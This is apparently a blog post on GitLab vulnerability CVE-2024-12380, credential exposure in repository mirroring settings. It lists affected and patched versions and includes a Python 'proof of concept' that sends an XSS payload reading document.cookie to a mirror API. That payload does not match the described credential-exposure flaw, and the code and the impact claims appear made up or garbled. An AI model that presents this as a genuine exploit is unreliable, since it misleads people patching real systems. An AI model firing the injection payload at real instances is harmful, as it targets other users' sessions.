An issue with the CVE ID CVE-2024-12380 has recently been discovered in GitLab Enterprise Edition (EE) and Community Edition (CE), affecting all versions starting from 11.5 before 17.7.7, all versions starting from 17.8 before 17.8.5, and all versions starting from 17.9 before 17.9.2. The problem is related to exposing sensitive authentication information in the repository mirroring settings due to certain user inputs.

In this post, we will provide an overview of the exploit, present a code snippet to showcase the vulnerability, discuss the potential impact of this exploit, and share links to the original references for further information and patching details.

Exploit Details

The vulnerability in GitLab EE and CE's repository mirroring settings is centered around the handling of specific user inputs. When certain user inputs are entered, sensitive authentication information can be exposed unintentionally. This sensitive information could potentially be accessed by unauthorized users, resulting in unauthorized access and tampering with the affected repositories.

Here's a code snippet that demonstrates the issue (please note that this is only for demonstration purposes and should not be used for malicious intent):

# Sample code to demonstrate GitLab EE/CE Repository Mirroring vulnerability (CVE-2024-12380)
import requests

# Replace the following variables with your actual GitLab instance URL, private token, and target repository ID
gitlab_url = "https://your-gitlab-instance.com";
private_token = "your-private-token"
target_repository_id = "your-repository-id"

# Prepare the URL and headers for the API request
url = f"{gitlab_url}/api/v4/projects/{target_repository_id}/remote_mirrors"
headers = {"PRIVATE-TOKEN": private_token}

# Craft the payload containing the malicious user input
payload = {
    "remote_mirrors_attributes": [
        {
            "id": 1,
            "mirror_name": "<img src=x onerror=alert(document.cookie)>",
            "invisible": "true"
        }
    ]
}

# Send the API request to update the repository's mirroring settings
response = requests.put(url, headers=headers, json=payload)

if response.status_code == 200:
    print("The repository's mirroring settings have been updated, potentially exposing sensitive authentication information.")
else:
    print("An error occurred:", response.text)

If this code were executed with appropriate user inputs, the resulting exposure of sensitive authentication information could lead to significant security issues for the affected GitLab instance and its repositories.

Potential Impact

The exposure of sensitive authentication information could lead to unauthorized access and tampering with the affected repositories, potentially causing data loss, data corruption, or unauthorized disclosure of confidential information. Furthermore, the vulnerability could be exploited by attackers to escalate privileges within the GitLab instance and gain control over other repositories and system functions.

GitLab has acknowledged the issue and released patches for the affected versions

- For GitLab EE/CE 17.7.x, users should upgrade to version 17.7.7
- For GitLab EE/CE 17.8.x, users should upgrade to version 17.8.5
- For GitLab EE/CE 17.9.x, users should upgrade to version 17.9.2

For more information on upgrading your GitLab instance, please refer to the official GitLab documentation.

The original security advisory can be found at the following link: GitLab Security Advisory.

In conclusion, users of GitLab EE and CE should promptly update their instances to the latest patched versions to mitigate this vulnerability and secure their repositories against potential attacks.

Timeline

Published on: 03/13/2025 06:15:35 UTC